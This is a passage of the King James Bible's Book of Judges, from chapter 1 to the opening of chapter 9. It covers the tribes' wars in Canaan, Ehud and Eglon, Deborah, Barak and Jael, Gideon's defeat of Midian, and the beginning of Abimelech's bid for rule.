my +lot, that we may fight against the Canaanites; and I likewise will go +with thee into thy lot. So Simeon went with him. + +1:4 And Judah went up; and the LORD delivered the Canaanites and the +Perizzites into their hand: and they slew of them in Bezek ten +thousand men. + +1:5 And they found Adonibezek in Bezek: and they fought against him, +and they slew the Canaanites and the Perizzites. + +1:6 But Adonibezek fled; and they pursued after him, and caught him, +and cut off his thumbs and his great toes. + +1:7 And Adonibezek said, Threescore and ten kings, having their thumbs +and their great toes cut off, gathered their meat under my table: as I +have done, so God hath requited me. And they brought him to Jerusalem, +and there he died. + +1:8 Now the children of Judah had fought against Jerusalem, and had +taken it, and smitten it with the edge of the sword, and set the city +on fire. + +1:9 And afterward the children of Judah went down to fight against the +Canaanites, that dwelt in the mountain, and in the south, and in the +valley. + +1:10 And Judah went against the Canaanites that dwelt in Hebron: (now +the name of Hebron before was Kirjatharba:) and they slew Sheshai, and +Ahiman, and Talmai. + +1:11 And from thence he went against the inhabitants of Debir: and the +name of Debir before was Kirjathsepher: 1:12 And Caleb said, He that +smiteth Kirjathsepher, and taketh it, to him will I give Achsah my +daughter to wife. + +1:13 And Othniel the son of Kenaz, Caleb's younger brother, took it: +and he gave him Achsah his daughter to wife. + +1:14 And it came to pass, when she came to him, that she moved him to +ask of her father a field: and she lighted from off her ass; and Caleb +said unto her, What wilt thou? 1:15 And she said unto him, Give me a +blessing: for thou hast given me a south land; give me also springs of +water. And Caleb gave her the upper springs and the nether springs. + +1:16 And the children of the Kenite, Moses' father in law, went up out +of the city of palm trees with the children of Judah into the +wilderness of Judah, which lieth in the south of Arad; and they went +and dwelt among the people. + +1:17 And Judah went with Simeon his brother, and they slew the +Canaanites that inhabited Zephath, and utterly destroyed it. And the +name of the city was called Hormah. + +1:18 Also Judah took Gaza with the coast thereof, and Askelon with the +coast thereof, and Ekron with the coast thereof. + +1:19 And the LORD was with Judah; and he drave out the inhabitants of +the mountain; but could not drive out the inhabitants of the valley, +because they had chariots of iron. + +1:20 And they gave Hebron unto Caleb, as Moses said: and he expelled +thence the three sons of Anak. + +1:21 And the children of Benjamin did not drive out the Jebusites that +inhabited Jerusalem; but the Jebusites dwell with the children of +Benjamin in Jerusalem unto this day. + +1:22 And the house of Joseph, they also went up against Bethel: and +the LORD was with them. + +1:23 And the house of Joseph sent to descry Bethel. (Now the name of +the city before was Luz.) 1:24 And the spies saw a man come forth out +of the city, and they said unto him, Shew us, we pray thee, the +entrance into the city, and we will shew thee mercy. + +1:25 And when he shewed them the entrance into the city, they smote +the city with the edge of the sword; but they let go the man and all +his family. + +1:26 And the man went into the land of the Hittites, and built a city, +and called the name thereof Luz: which is the name thereof unto this +day. + +1:27 Neither did Manasseh drive out the inhabitants of Bethshean and +her towns, nor Taanach and her towns, nor the inhabitants of Dor and +her towns, nor the inhabitants of Ibleam and her towns, nor the +inhabitants of Megiddo and her towns: but the Canaanites would dwell +in that land. + +1:28 And it came to pass, when Israel was strong, that they put the +Canaanites to tribute, and did not utterly drive them out. + +1:29 Neither did Ephraim drive out the Canaanites that dwelt in Gezer; +but the Canaanites dwelt in Gezer among them. + +1:30 Neither did Zebulun drive out the inhabitants of Kitron, nor the +inhabitants of Nahalol; but the Canaanites dwelt among them, and +became tributaries. + +1:31 Neither did Asher drive out the inhabitants of Accho, nor the +inhabitants of Zidon, nor of Ahlab, nor of Achzib, nor of Helbah, nor +of Aphik, nor of Rehob: 1:32 But the Asherites dwelt among the +Canaanites, the inhabitants of the land: for they did not drive them +out. + +1:33 Neither did Naphtali drive out the inhabitants of Bethshemesh, +nor the inhabitants of Bethanath; but he dwelt among the Canaanites, +the inhabitants of the land: nevertheless the inhabitants of +Bethshemesh and of Bethanath became tributaries unto them. + +1:34 And the Amorites forced the children of Dan into the mountain: +for they would not suffer them to come down to the valley: 1:35 But +the Amorites would dwell in mount Heres in Aijalon, and in Shaalbim: +yet the hand of the house of Joseph prevailed, so that they became +tributaries. + +1:36 And the coast of the Amorites was from the going up to Akrabbim, +from the rock, and upward. + +2:1 And an angel of the LORD came up from Gilgal to Bochim, and said, +I made you to go up out of Egypt, and have brought you unto the land +which I sware unto your fathers; and I said, I will never break my +covenant with you. + +2:2 And ye shall make no league with the inhabitants of this land; ye +shall throw down their altars: but ye have not obeyed my voice: why +have ye done this? 2:3 Wherefore I also said, I will not drive them +out from before you; but they shall be as thorns in your sides, and +their gods shall be a snare unto you. + +2:4 And it came to pass, when the angel of the LORD spake these words +unto all the children of Israel, that the people lifted up their +voice, and wept. + +2:5 And they called the name of that place Bochim: and they sacrificed +there unto the LORD. + +2:6 And when Joshua had let the people go, the children of Israel went +every man unto his inheritance to possess the land. + +2:7 And the people served the LORD all the days of Joshua, and all the +days of the elders that outlived Joshua, who had seen all the great +works of the LORD, that he did for Israel. + +2:8 And Joshua the son of Nun, the servant of the LORD, died, being an +hundred and ten years old. + +2:9 And they buried him in the border of his inheritance in +Timnathheres, in the mount of Ephraim, on the north side of the hill +Gaash. + +2:10 And also all that generation were gathered unto their fathers: +and there arose another generation after them, which knew not the +LORD, nor yet the works which he had done for Israel. + +2:11 And the children of Israel did evil in the sight of the LORD, and +served Baalim: 2:12 And they forsook the LORD God of their fathers, +which brought them out of the land of Egypt, and followed other gods, +of the gods of the people that were round about them, and bowed +themselves unto them, and provoked the LORD to anger. + +2:13 And they forsook the LORD, and served Baal and Ashtaroth. + +2:14 And the anger of the LORD was hot against Israel, and he +delivered them into the hands of spoilers that spoiled them, and he +sold them into the hands of their enemies round about, so that they +could not any longer stand before their enemies. + +2:15 Whithersoever they went out, the hand of the LORD was against +them for evil, as the LORD had said, and as the LORD had sworn unto +them: and they were greatly distressed. + +2:16 Nevertheless the LORD raised up judges, which delivered them out +of the hand of those that spoiled them. + +2:17 And yet they would not hearken unto their judges, but they went a +whoring after other gods, and bowed themselves unto them: they turned +quickly out of the way which their fathers walked in, obeying the +commandments of the LORD; but they did not so. + +2:18 And when the LORD raised them up judges, then the LORD was with +the judge, and delivered them out of the hand of their enemies all the +days of the judge: for it repented the LORD because of their groanings +by reason of them that oppressed them and vexed them. + +2:19 And it came to pass, when the judge was dead, that they returned, +and corrupted themselves more than their fathers, in following other +gods to serve them, and to bow down unto them; they ceased not from +their own doings, nor from their stubborn way. + +2:20 And the anger of the LORD was hot against Israel; and he said, +Because that this people hath transgressed my covenant which I +commanded their fathers, and have not hearkened unto my voice; 2:21 I +also will not henceforth drive out any from before them of the nations +which Joshua left when he died: 2:22 That through them I may prove +Israel, whether they will keep the way of the LORD to walk therein, as +their fathers did keep it, or not. + +2:23 Therefore the LORD left those nations, without driving them out +hastily; neither delivered he them into the hand of Joshua. + +3:1 Now these are the nations which the LORD left, to prove Israel by +them, even as many of Israel as had not known all the wars of Canaan; +3:2 Only that the generations of the children of Israel might know, to +teach them war, at the least such as before knew nothing thereof; 3:3 +Namely, five lords of the Philistines, and all the Canaanites, and the +Sidonians, and the Hivites that dwelt in mount Lebanon, from mount +Baalhermon unto the entering in of Hamath. + +3:4 And they were to prove Israel by them, to know whether they would +hearken unto the commandments of the LORD, which he commanded their +fathers by the hand of Moses. + +3:5 And the children of Israel dwelt among the Canaanites, Hittites, +and Amorites, and Perizzites, and Hivites, and Jebusites: 3:6 And they +took their daughters to be their wives, and gave their daughters to +their sons, and served their gods. + +3:7 And the children of Israel did evil in the sight of the LORD, and +forgat the LORD their God, and served Baalim and the groves. + +3:8 Therefore the anger of the LORD was hot against Israel, and he +sold them into the hand of Chushanrishathaim king of Mesopotamia: and +the children of Israel served Chushanrishathaim eight years. + +3:9 And when the children of Israel cried unto the LORD, the LORD +raised up a deliverer to the children of Israel, who delivered them, +even Othniel the son of Kenaz, Caleb's younger brother. + +3:10 And the Spirit of the LORD came upon him, and he judged Israel, +and went out to war: and the LORD delivered Chushanrishathaim king of +Mesopotamia into his hand; and his hand prevailed against +Chushanrishathaim. + +3:11 And the land had rest forty years. And Othniel the son of Kenaz +died. + +3:12 And the children of Israel did evil again in the sight of the +LORD: and the LORD strengthened Eglon the king of Moab against Israel, +because they had done evil in the sight of the LORD. + +3:13 And he gathered unto him the children of Ammon and Amalek, and +went and smote Israel, and possessed the city of palm trees. + +3:14 So the children of Israel served Eglon the king of Moab eighteen +years. + +3:15 But when the children of Israel cried unto the LORD, the LORD +raised them up a deliverer, Ehud the son of Gera, a Benjamite, a man +lefthanded: and by him the children of Israel sent a present unto +Eglon the king of Moab. + +3:16 But Ehud made him a dagger which had two edges, of a cubit +length; and he did gird it under his raiment upon his right thigh. + +3:17 And he brought the present unto Eglon king of Moab: and Eglon was +a very fat man. + +3:18 And when he had made an end to offer the present, he sent away +the people that bare the present. + +3:19 But he himself turned again from the quarries that were by +Gilgal, and said, I have a secret errand unto thee, O king: who said, +Keep silence. And all that stood by him went out from him. + +3:20 And Ehud came unto him; and he was sitting in a summer parlour, +which he had for himself alone. And Ehud said, I have a message from +God unto thee. + +And he arose out of his seat. + +3:21 And Ehud put forth his left hand, and took the dagger from his +right thigh, and thrust it into his belly: 3:22 And the haft also went +in after the blade; and the fat closed upon the blade, so that he +could not draw the dagger out of his belly; and the dirt came out. + +3:23 Then Ehud went forth through the porch, and shut the doors of the +parlour upon him, and locked them. + +3:24 When he was gone out, his servants came; and when they saw that, +behold, the doors of the parlour were locked, they said, Surely he +covereth his feet in his summer chamber. + +3:25 And they tarried till they were ashamed: and, behold, he opened +not the doors of the parlour; therefore they took a key, and opened +them: and, behold, their lord was fallen down dead on the earth. + +3:26 And Ehud escaped while they tarried, and passed beyond the +quarries, and escaped unto Seirath. + +3:27 And it came to pass, when he was come, that he blew a trumpet in +the mountain of Ephraim, and the children of Israel went down with him +from the mount, and he before them. + +3:28 And he said unto them, Follow after me: for the LORD hath +delivered your enemies the Moabites into your hand. And they went down +after him, and took the fords of Jordan toward Moab, and suffered not +a man to pass over. + +3:29 And they slew of Moab at that time about ten thousand men, all +lusty, and all men of valour; and there escaped not a man. + +3:30 So Moab was subdued that day under the hand of Israel. And the +land had rest fourscore years. + +3:31 And after him was Shamgar the son of Anath, which slew of the +Philistines six hundred men with an ox goad: and he also delivered +Israel. + +4:1 And the children of Israel again did evil in the sight of the +LORD, when Ehud was dead. + +4:2 And the LORD sold them into the hand of Jabin king of Canaan, that +reigned in Hazor; the captain of whose host was Sisera, which dwelt in +Harosheth of the Gentiles. + +4:3 And the children of Israel cried unto the LORD: for he had nine +hundred chariots of iron; and twenty years he mightily oppressed the +children of Israel. + +4:4 And Deborah, a prophetess, the wife of Lapidoth, she judged Israel +at that time. + +4:5 And she dwelt under the palm tree of Deborah between Ramah and +Bethel in mount Ephraim: and the children of Israel came up to her for +judgment. + +4:6 And she sent and called Barak the son of Abinoam out of +Kedeshnaphtali, and said unto him, Hath not the LORD God of Israel +commanded, saying, Go and draw toward mount Tabor, and take with thee +ten thousand men of the children of Naphtali and of the children of +Zebulun? 4:7 And I will draw unto thee to the river Kishon Sisera, +the captain of Jabin's army, with his chariots and his multitude; and +I will deliver him into thine hand. + +4:8 And Barak said unto her, If thou wilt go with me, then I will go: +but if thou wilt not go with me, then I will not go. + +4:9 And she said, I will surely go with thee: notwithstanding the +journey that thou takest shall not be for thine honour; for the LORD +shall sell Sisera into the hand of a woman. And Deborah arose, and +went with Barak to Kedesh. + +4:10 And Barak called Zebulun and Naphtali to Kedesh; and he went up +with ten thousand men at his feet: and Deborah went up with him. + +4:11 Now Heber the Kenite, which was of the children of Hobab the +father in law of Moses, had severed himself from the Kenites, and +pitched his tent unto the plain of Zaanaim, which is by Kedesh. + +4:12 And they shewed Sisera that Barak the son of Abinoam was gone up +to mount Tabor. + +4:13 And Sisera gathered together all his chariots, even nine hundred +chariots of iron, and all the people that were with him, from +Harosheth of the Gentiles unto the river of Kishon. + +4:14 And Deborah said unto Barak, Up; for this is the day in which the +LORD hath delivered Sisera into thine hand: is not the LORD gone out +before thee? So Barak went down from mount Tabor, and ten thousand men +after him. + +4:15 And the LORD discomfited Sisera, and all his chariots, and all +his host, with the edge of the sword before Barak; so that Sisera +lighted down off his chariot, and fled away on his feet. + +4:16 But Barak pursued after the chariots, and after the host, unto +Harosheth of the Gentiles: and all the host of Sisera fell upon the +edge of the sword; and there was not a man left. + +4:17 Howbeit Sisera fled away on his feet to the tent of Jael the wife +of Heber the Kenite: for there was peace between Jabin the king of +Hazor and the house of Heber the Kenite. + +4:18 And Jael went out to meet Sisera, and said unto him, Turn in, my +lord, turn in to me; fear not. And when he had turned in unto her into +the tent, she covered him with a mantle. + +4:19 And he said unto her, Give me, I pray thee, a little water to +drink; for I am thirsty. And she opened a bottle of milk, and gave him +drink, and covered him. + +4:20 Again he said unto her, Stand in the door of the tent, and it +shall be, when any man doth come and enquire of thee, and say, Is +there any man here? that thou shalt say, No. + +4:21 Then Jael Heber's wife took a nail of the tent, and took an +hammer in her hand, and went softly unto him, and smote the nail into +his temples, and fastened it into the ground: for he was fast asleep +and weary. So he died. + +4:22 And, behold, as Barak pursued Sisera, Jael came out to meet him, +and said unto him, Come, and I will shew thee the man whom thou +seekest. And when he came into her tent, behold, Sisera lay dead, and +the nail was in his temples. + +4:23 So God subdued on that day Jabin the king of Canaan before the +children of Israel. + +4:24 And the hand of the children of Israel prospered, and prevailed +against Jabin the king of Canaan, until they had destroyed Jabin king +of Canaan. + +5:1 Then sang Deborah and Barak the son of Abinoam on that day, +saying, 5:2 Praise ye the LORD for the avenging of Israel, when the +people willingly offered themselves. + +5:3 Hear, O ye kings; give ear, O ye princes; I, even I, will sing +unto the LORD; I will sing praise to the LORD God of Israel. + +5:4 LORD, when thou wentest out of Seir, when thou marchedst out of +the field of Edom, the earth trembled, and the heavens dropped, the +clouds also dropped water. + +5:5 The mountains melted from before the LORD, even that Sinai from +before the LORD God of Israel. + +5:6 In the days of Shamgar the son of Anath, in the days of Jael, the +highways were unoccupied, and the travellers walked through byways. + +5:7 The inhabitants of the villages ceased, they ceased in Israel, +until that I Deborah arose, that I arose a mother in Israel. + +5:8 They chose new gods; then was war in the gates: was there a shield +or spear seen among forty thousand in Israel? 5:9 My heart is toward +the governors of Israel, that offered themselves willingly among the +people. Bless ye the LORD. + +5:10 Speak, ye that ride on white asses, ye that sit in judgment, and +walk by the way. + +5:11 They that are delivered from the noise of archers in the places +of drawing water, there shall they rehearse the righteous acts of the +LORD, even the righteous acts toward the inhabitants of his villages +in Israel: then shall the people of the LORD go down to the gates. + +5:12 Awake, awake, Deborah: awake, awake, utter a song: arise, Barak, +and lead thy captivity captive, thou son of Abinoam. + +5:13 Then he made him that remaineth have dominion over the nobles +among the people: the LORD made me have dominion over the mighty. + +5:14 Out of Ephraim was there a root of them against Amalek; after +thee, Benjamin, among thy people; out of Machir came down governors, +and out of Zebulun they that handle the pen of the writer. + +5:15 And the princes of Issachar were with Deborah; even Issachar, and +also Barak: he was sent on foot into the valley. For the divisions of +Reuben there were great thoughts of heart. + +5:16 Why abodest thou among the sheepfolds, to hear the bleatings of +the flocks? For the divisions of Reuben there were great searchings of +heart. + +5:17 Gilead abode beyond Jordan: and why did Dan remain in ships? +Asher continued on the sea shore, and abode in his breaches. + +5:18 Zebulun and Naphtali were a people that jeoparded their lives +unto the death in the high places of the field. + +5:19 The kings came and fought, then fought the kings of Canaan in +Taanach by the waters of Megiddo; they took no gain of money. + +5:20 They fought from heaven; the stars in their courses fought +against Sisera. + +5:21 The river of Kishon swept them away, that ancient river, the +river Kishon. O my soul, thou hast trodden down strength. + +5:22 Then were the horsehoofs broken by the means of the pransings, +the pransings of their mighty ones. + +5:23 Curse ye Meroz, said the angel of the LORD, curse ye bitterly the +inhabitants thereof; because they came not to the help of the LORD, to +the help of the LORD against the mighty. + +5:24 Blessed above women shall Jael the wife of Heber the Kenite be, +blessed shall she be above women in the tent. + +5:25 He asked water, and she gave him milk; she brought forth butter +in a lordly dish. + +5:26 She put her hand to the nail, and her right hand to the workmen's +hammer; and with the hammer she smote Sisera, she smote off his head, +when she had pierced and stricken through his temples. + +5:27 At her feet he bowed, he fell, he lay down: at her feet he bowed, +he fell: where he bowed, there he fell down dead. + +5:28 The mother of Sisera looked out at a window, and cried through +the lattice, Why is his chariot so long in coming? why tarry the +wheels of his chariots? 5:29 Her wise ladies answered her, yea, she +returned answer to herself, 5:30 Have they not sped? have they not +divided the prey; to every man a damsel or two; to Sisera a prey of +divers colours, a prey of divers colours of needlework, of divers +colours of needlework on both sides, meet for the necks of them that +take the spoil? 5:31 So let all thine enemies perish, O LORD: but let +them that love him be as the sun when he goeth forth in his might. And +the land had rest forty years. + +6:1 And the children of Israel did evil in the sight of the LORD: and +the LORD delivered them into the hand of Midian seven years. + +6:2 And the hand of Midian prevailed against Israel: and because of +the Midianites the children of Israel made them the dens which are in +the mountains, and caves, and strong holds. + +6:3 And so it was, when Israel had sown, that the Midianites came up, +and the Amalekites, and the children of the east, even they came up +against them; 6:4 And they encamped against them, and destroyed the +increase of the earth, till thou come unto Gaza, and left no +sustenance for Israel, neither sheep, nor ox, nor ass. + +6:5 For they came up with their cattle and their tents, and they came +as grasshoppers for multitude; for both they and their camels were +without number: and they entered into the land to destroy it. + +6:6 And Israel was greatly impoverished because of the Midianites; and +the children of Israel cried unto the LORD. + +6:7 And it came to pass, when the children of Israel cried unto the +LORD because of the Midianites, 6:8 That the LORD sent a prophet unto +the children of Israel, which said unto them, Thus saith the LORD God +of Israel, I brought you up from Egypt, and brought you forth out of +the house of bondage; 6:9 And I delivered you out of the hand of the +Egyptians, and out of the hand of all that oppressed you, and drave +them out from before you, and gave you their land; 6:10 And I said +unto you, I am the LORD your God; fear not the gods of the Amorites, +in whose land ye dwell: but ye have not obeyed my voice. + +6:11 And there came an angel of the LORD, and sat under an oak which +was in Ophrah, that pertained unto Joash the Abiezrite: and his son +Gideon threshed wheat by the winepress, to hide it from the +Midianites. + +6:12 And the angel of the LORD appeared unto him, and said unto him, +The LORD is with thee, thou mighty man of valour. + +6:13 And Gideon said unto him, Oh my Lord, if the LORD be with us, why +then is all this befallen us? and where be all his miracles which our +fathers told us of, saying, Did not the LORD bring us up from Egypt? +but now the LORD hath forsaken us, and delivered us into the hands of +the Midianites. + +6:14 And the LORD looked upon him, and said, Go in this thy might, and +thou shalt save Israel from the hand of the Midianites: have not I +sent thee? 6:15 And he said unto him, Oh my Lord, wherewith shall I +save Israel? behold, my family is poor in Manasseh, and I am the +least in my father's house. + +6:16 And the LORD said unto him, Surely I will be with thee, and thou +shalt smite the Midianites as one man. + +6:17 And he said unto him, If now I have found grace in thy sight, +then shew me a sign that thou talkest with me. + +6:18 Depart not hence, I pray thee, until I come unto thee, and bring +forth my present, and set it before thee. And he said, I will tarry +until thou come again. + +6:19 And Gideon went in, and made ready a kid, and unleavened cakes of +an ephah of flour: the flesh he put in a basket, and he put the broth +in a pot, and brought it out unto him under the oak, and presented it. + +6:20 And the angel of God said unto him, Take the flesh and the +unleavened cakes, and lay them upon this rock, and pour out the broth. +And he did so. + +6:21 Then the angel of the LORD put forth the end of the staff that +was in his hand, and touched the flesh and the unleavened cakes; and +there rose up fire out of the rock, and consumed the flesh and the +unleavened cakes. Then the angel of the LORD departed out of his +sight. + +6:22 And when Gideon perceived that he was an angel of the LORD, +Gideon said, Alas, O LORD God! for because I have seen an angel of the +LORD face to face. + +6:23 And the LORD said unto him, Peace be unto thee; fear not: thou +shalt not die. + +6:24 Then Gideon built an altar there unto the LORD, and called it +Jehovahshalom: unto this day it is yet in Ophrah of the Abiezrites. + +6:25 And it came to pass the same night, that the LORD said unto him, +Take thy father's young bullock, even the second bullock of seven +years old, and throw down the altar of Baal that thy father hath, and +cut down the grove that is by it: 6:26 And build an altar unto the +LORD thy God upon the top of this rock, in the ordered place, and take +the second bullock, and offer a burnt sacrifice with the wood of the +grove which thou shalt cut down. + +6:27 Then Gideon took ten men of his servants, and did as the LORD had +said unto him: and so it was, because he feared his father's +household, and the men of the city, that he could not do it by day, +that he did it by night. + +6:28 And when the men of the city arose early in the morning, behold, +the altar of Baal was cast down, and the grove was cut down that was +by it, and the second bullock was offered upon the altar that was +built. + +6:29 And they said one to another, Who hath done this thing? And when +they enquired and asked, they said, Gideon the son of Joash hath done +this thing. + +6:30 Then the men of the city said unto Joash, Bring out thy son, that +he may die: because he hath cast down the altar of Baal, and because +he hath cut down the grove that was by it. + +6:31 And Joash said unto all that stood against him, Will ye plead for +Baal? will ye save him? he that will plead for him, let him be put to +death whilst it is yet morning: if he be a god, let him plead for +himself, because one hath cast down his altar. + +6:32 Therefore on that day he called him Jerubbaal, saying, Let Baal +plead against him, because he hath thrown down his altar. + +6:33 Then all the Midianites and the Amalekites and the children of +the east were gathered together, and went over, and pitched in the +valley of Jezreel. + +6:34 But the Spirit of the LORD came upon Gideon, and he blew a +trumpet; and Abiezer was gathered after him. + +6:35 And he sent messengers throughout all Manasseh; who also was +gathered after him: and he sent messengers unto Asher, and unto +Zebulun, and unto Naphtali; and they came up to meet them. + +6:36 And Gideon said unto God, If thou wilt save Israel by mine hand, +as thou hast said, 6:37 Behold, I will put a fleece of wool in the +floor; and if the dew be on the fleece only, and it be dry upon all +the earth beside, then shall I know that thou wilt save Israel by mine +hand, as thou hast said. + +6:38 And it was so: for he rose up early on the morrow, and thrust the +fleece together, and wringed the dew out of the fleece, a bowl full of +water. + +6:39 And Gideon said unto God, Let not thine anger be hot against me, +and I will speak but this once: let me prove, I pray thee, but this +once with the fleece; let it now be dry only upon the fleece, and upon +all the ground let there be dew. + +6:40 And God did so that night: for it was dry upon the fleece only, +and there was dew on all the ground. + +7:1 Then Jerubbaal, who is Gideon, and all the people that were with +him, rose up early, and pitched beside the well of Harod: so that the +host of the Midianites were on the north side of them, by the hill of +Moreh, in the valley. + +7:2 And the LORD said unto Gideon, The people that are with thee are +too many for me to give the Midianites into their hands, lest Israel +vaunt themselves against me, saying, Mine own hand hath saved me. + +7:3 Now therefore go to, proclaim in the ears of the people, saying, +Whosoever is fearful and afraid, let him return and depart early from +mount Gilead. And there returned of the people twenty and two +thousand; and there remained ten thousand. + +7:4 And the LORD said unto Gideon, The people are yet too many; bring +them down unto the water, and I will try them for thee there: and it +shall be, that of whom I say unto thee, This shall go with thee, the +same shall go with thee; and of whomsoever I say unto thee, This shall +not go with thee, the same shall not go. + +7:5 So he brought down the people unto the water: and the LORD said +unto Gideon, Every one that lappeth of the water with his tongue, as a +dog lappeth, him shalt thou set by himself; likewise every one that +boweth down upon his knees to drink. + +7:6 And the number of them that lapped, putting their hand to their +mouth, were three hundred men: but all the rest of the people bowed +down upon their knees to drink water. + +7:7 And the LORD said unto Gideon, By the three hundred men that +lapped will I save you, and deliver the Midianites into thine hand: +and let all the other people go every man unto his place. + +7:8 So the people took victuals in their hand, and their trumpets: and +he sent all the rest of Israel every man unto his tent, and retained +those three hundred men: and the host of Midian was beneath him in the +valley. + +7:9 And it came to pass the same night, that the LORD said unto him, +Arise, get thee down unto the host; for I have delivered it into thine +hand. + +7:10 But if thou fear to go down, go thou with Phurah thy servant down +to the host: 7:11 And thou shalt hear what they say; and afterward +shall thine hands be strengthened to go down unto the host. Then went +he down with Phurah his servant unto the outside of the armed men that +were in the host. + +7:12 And the Midianites and the Amalekites and all the children of the +east lay along in the valley like grasshoppers for multitude; and +their camels were without number, as the sand by the sea side for +multitude. + +7:13 And when Gideon was come, behold, there was a man that told a +dream unto his fellow, and said, Behold, I dreamed a dream, and, lo, a +cake of barley bread tumbled into the host of Midian, and came unto a +tent, and smote it that it fell, and overturned it, that the tent lay +along. + +7:14 And his fellow answered and said, This is nothing else save the +sword of Gideon the son of Joash, a man of Israel: for into his hand +hath God delivered Midian, and all the host. + +7:15 And it was so, when Gideon heard the telling of the dream, and +the interpretation thereof, that he worshipped, and returned into the +host of Israel, and said, Arise; for the LORD hath delivered into your +hand the host of Midian. + +7:16 And he divided the three hundred men into three companies, and he +put a trumpet in every man's hand, with empty pitchers, and lamps +within the pitchers. + +7:17 And he said unto them, Look on me, and do likewise: and, behold, +when I come to the outside of the camp, it shall be that, as I do, so +shall ye do. + +7:18 When I blow with a trumpet, I and all that are with me, then blow +ye the trumpets also on every side of all the camp, and say, The sword +of the LORD, and of Gideon. + +7:19 So Gideon, and the hundred men that were with him, came unto the +outside of the camp in the beginning of the middle watch; and they had +but newly set the watch: and they blew the trumpets, and brake the +pitchers that were in their hands. + +7:20 And the three companies blew the trumpets, and brake the +pitchers, and held the lamps in their left hands, and the trumpets in +their right hands to blow withal: and they cried, The sword of the +LORD, and of Gideon. + +7:21 And they stood every man in his place round about the camp; and +all the host ran, and cried, and fled. + +7:22 And the three hundred blew the trumpets, and the LORD set every +man's sword against his fellow, even throughout all the host: and the +host fled to Bethshittah in Zererath, and to the border of +Abelmeholah, unto Tabbath. + +7:23 And the men of Israel gathered themselves together out of +Naphtali, and out of Asher, and out of all Manasseh, and pursued after +the Midianites. + +7:24 And Gideon sent messengers throughout all mount Ephraim, saying, +come down against the Midianites, and take before them the waters unto +Bethbarah and Jordan. Then all the men of Ephraim gathered themselves +together, and took the waters unto Bethbarah and Jordan. + +7:25 And they took two princes of the Midianites, Oreb and Zeeb; and +they slew Oreb upon the rock Oreb, and Zeeb they slew at the winepress +of Zeeb, and pursued Midian, and brought the heads of Oreb and Zeeb to +Gideon on the other side Jordan. + +8:1 And the men of Ephraim said unto him, Why hast thou served us +thus, that thou calledst us not, when thou wentest to fight with the +Midianites? And they did chide with him sharply. + +8:2 And he said unto them, What have I done now in comparison of you? +Is not the gleaning of the grapes of Ephraim better than the vintage +of Abiezer? 8:3 God hath delivered into your hands the princes of +Midian, Oreb and Zeeb: and what was I able to do in comparison of you? +Then their anger was abated toward him, when he had said that. + +8:4 And Gideon came to Jordan, and passed over, he, and the three +hundred men that were with him, faint, yet pursuing them. + +8:5 And he said unto the men of Succoth, Give, I pray you, loaves of +bread unto the people that follow me; for they be faint, and I am +pursuing after Zebah and Zalmunna, kings of Midian. + +8:6 And the princes of Succoth said, Are the hands of Zebah and +Zalmunna now in thine hand, that we should give bread unto thine army? +8:7 And Gideon said, Therefore when the LORD hath delivered Zebah and +Zalmunna into mine hand, then I will tear your flesh with the thorns +of the wilderness and with briers. + +8:8 And he went up thence to Penuel, and spake unto them likewise: and +the men of Penuel answered him as the men of Succoth had answered him. + +8:9 And he spake also unto the men of Penuel, saying, When I come +again in peace, I will break down this tower. + +8:10 Now Zebah and Zalmunna were in Karkor, and their hosts with them, +about fifteen thousand men, all that were left of all the hosts of the +children of the east: for there fell an hundred and twenty thousand +men that drew sword. + +8:11 And Gideon went up by the way of them that dwelt in tents on the +east of Nobah and Jogbehah, and smote the host; for the host was +secure. + +8:12 And when Zebah and Zalmunna fled, he pursued after them, and took +the two kings of Midian, Zebah and Zalmunna, and discomfited all the +host. + +8:13 And Gideon the son of Joash returned from battle before the sun +was up, 8:14 And caught a young man of the men of Succoth, and +enquired of him: and he described unto him the princes of Succoth, and +the elders thereof, even threescore and seventeen men. + +8:15 And he came unto the men of Succoth, and said, Behold Zebah and +Zalmunna, with whom ye did upbraid me, saying, Are the hands of Zebah +and Zalmunna now in thine hand, that we should give bread unto thy men +that are weary? 8:16 And he took the elders of the city, and thorns +of the wilderness and briers, and with them he taught the men of +Succoth. + +8:17 And he beat down the tower of Penuel, and slew the men of the +city. + +8:18 Then said he unto Zebah and Zalmunna, What manner of men were +they whom ye slew at Tabor? And they answered, As thou art, so were +they; each one resembled the children of a king. + +8:19 And he said, They were my brethren, even the sons of my mother: +as the LORD liveth, if ye had saved them alive, I would not slay you. + +8:20 And he said unto Jether his firstborn, Up, and slay them. But the +youth drew not his sword: for he feared, because he was yet a youth. + +8:21 Then Zebah and Zalmunna said, Rise thou, and fall upon us: for as +the man is, so is his strength. And Gideon arose, and slew Zebah and +Zalmunna, and took away the ornaments that were on their camels' +necks. + +8:22 Then the men of Israel said unto Gideon, Rule thou over us, both +thou, and thy son, and thy son's son also: for thou hast delivered us +from the hand of Midian. + +8:23 And Gideon said unto them, I will not rule over you, neither +shall my son rule over you: the LORD shall rule over you. + +8:24 And Gideon said unto them, I would desire a request of you, that +ye would give me every man the earrings of his prey. (For they had +golden earrings, because they were Ishmaelites.) 8:25 And they +answered, We will willingly give them. And they spread a garment, and +did cast therein every man the earrings of his prey. + +8:26 And the weight of the golden earrings that he requested was a +thousand and seven hundred shekels of gold; beside ornaments, and +collars, and purple raiment that was on the kings of Midian, and +beside the chains that were about their camels' necks. + +8:27 And Gideon made an ephod thereof, and put it in his city, even in +Ophrah: and all Israel went thither a whoring after it: which thing +became a snare unto Gideon, and to his house. + +8:28 Thus was Midian subdued before the children of Israel, so that +they lifted up their heads no more. And the country was in quietness +forty years in the days of Gideon. + +8:29 And Jerubbaal the son of Joash went and dwelt in his own house. + +8:30 And Gideon had threescore and ten sons of his body begotten: for +he had many wives. + +8:31 And his concubine that was in Shechem, she also bare him a son, +whose name he called Abimelech. + +8:32 And Gideon the son of Joash died in a good old age, and was +buried in the sepulchre of Joash his father, in Ophrah of the +Abiezrites. + +8:33 And it came to pass, as soon as Gideon was dead, that the +children of Israel turned again, and went a whoring after Baalim, and +made Baalberith their god. + +8:34 And the children of Israel remembered not the LORD their God, who +had delivered them out of the hands of all their enemies on every +side: 8:35 Neither shewed they kindness to the house of Jerubbaal, +namely, Gideon, according to all the goodness which he had shewed unto +Israel. + +9:1 And Abimelech the son of Jerubbaal went to Shechem unto his +mother's brethren, and communed with them, and with all the family of +the house of his mother's father, saying, 9:2 Speak, I pray you, in +the ears of all the men of Shechem, Whether is better for you, either +that all the sons of Jerubbaal, which are threescore and ten persons, +reign over you, or that one reign over you? remember also that I am +your bone and your flesh. + +9:3 And his mother's brethren spake of him in the ears of all the men +of Shechem all these words: and their hearts inclined to follow +Abimelech; for they said, He is our 